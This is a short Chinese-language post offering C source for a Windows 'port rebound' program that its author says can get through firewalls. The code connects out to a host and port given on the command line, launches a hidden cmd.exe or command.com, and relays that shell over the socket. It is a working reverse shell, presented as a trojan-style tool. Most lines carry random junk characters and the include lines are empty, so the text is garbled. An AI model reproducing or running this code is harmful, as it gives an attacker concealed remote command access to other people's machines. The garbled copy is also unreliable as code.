Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 g^x=y  
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/* ============================== ef_H*e  
Rebound port in Windows NT lw99{y3<<  
By wind,2006/7 E'98JZ5ga  
===============================*/ (y~%6o6  
#include :U=3*f.{  
#include `'>~(8&zE  
R eb.x_  
#pragma comment(lib,"wsock32.lib") >Vg [A  
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void OutputShell(); 7a^D[f0V  
SOCKET sClient; `M{Ne:J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LI&E.(:  
3 S*KjY'@  
void main(int argc,char **argv) *SIYZE'  
{ Vh2uzG  
WSADATA stWsaData; >B=s+}/ME  
int nRet; 7l[@c|e  
SOCKADDR_IN stSaiClient,stSaiServer; uB3VCO.;_  
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if(argc != 3) r:$*pC&{  
{ H1L)9oa  
printf("Useage:\n\rRebound DestIP DestPort\n"); xx|D#Z}G  
return; WPAUY<6f  
} ;\6@s3  
60cQ3.e  
WSAStartup(MAKEWORD(2,2),&stWsaData); f F)M'C
  
N
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ULBEe@s  
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stSaiClient.sin_family = AF_INET; |=0w_)Fa]  
stSaiClient.sin_port = htons(0); JbJ!,86  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Kf}*Ij  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @YQ*a4`  
{ XjP&  
printf("Bind Socket Failed!\n"); /#SfgcDt  
return; 9_F&G('V{a  
} ]7>#YKH.  
l6 }+,v@#  
stSaiServer.sin_family = AF_INET; %<+uJ'pj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3$q#^UvD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GDe,n  
4b((,u$  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @"A 5yD5
  
{ D&I/Tbc  
printf("Connect Error!"); /$]S'[5uF  
return; 4o;;'P  
} <DPRQhNW]  
OutputShell(); jkta]#O  
} 6<>1,wbq  
B!;:,(S~  
void OutputShell()
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{ &-p~UZy  
char szBuff[1024]; /;/:>c  
SECURITY_ATTRIBUTES stSecurityAttributes; {.p;V  
OSVERSIONINFO stOsversionInfo; ?U[6X|1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %&VI-7+K
 
STARTUPINFO stStartupInfo; (n~fe-?}8  
char *szShell; _b>{:H&\  
PROCESS_INFORMATION stProcessInformation; 27+faR  
unsigned long lBytesRead; `OgT"FdL!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X%znNx  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  s!
  
stSecurityAttributes.lpSecurityDescriptor = 0; &A.0(s  
stSecurityAttributes.bInheritHandle = TRUE; lMh>eX  
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Ok@`<6v  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E>i<2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FG{,l=Z0  
CL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s8 MQ:eAP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `-
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stStartupInfo.wShowWindow = SW_HIDE; 1KGf @u%-1  
stStartupInfo.hStdInput = hReadPipe; ,!alNNY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NqD Hrx  
zv0sz])  
GetVersionEx(&stOsversionInfo); ~@PD\  
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switch(stOsversionInfo.dwPlatformId) (ER9.k2  
{ }F/w34+;  
case 1: >B~? }@^Gk  
szShell = "command.com"; ~_"V7  
break; [>pBz3fn,  
default: +WR?<*_  
szShell = "cmd.exe"; IHi[3xf<  
break; @Lf&[_  
} 3{t[>O;  
^'M^0'_"v  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X$1YvYsID  
~|Ln9f-g  
send(sClient,szMsg,77,0); fe`_0lxj  
while(1) _[rQt8zn  
{ M|h B[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j$XaO%y)  
if(lBytesRead) YEaT_zWG0  
{ 60$;Q,]o  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _h  \L6.  
send(sClient,szBuff,lBytesRead,0); &Wb"/Hn2  
} [q3zs_nz  
else <;W-!R759  
{ DCZG'eb  
lBytesRead=recv(sClient,szBuff,1024,0); %Cqp88]  
if(lBytesRead<=0) break; );JWrkpz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Qc?W;Q+  
} p%sizn  
} yp^k;G?_d  
Iy4%,8C]g  
return; 1P1h);*Z  
}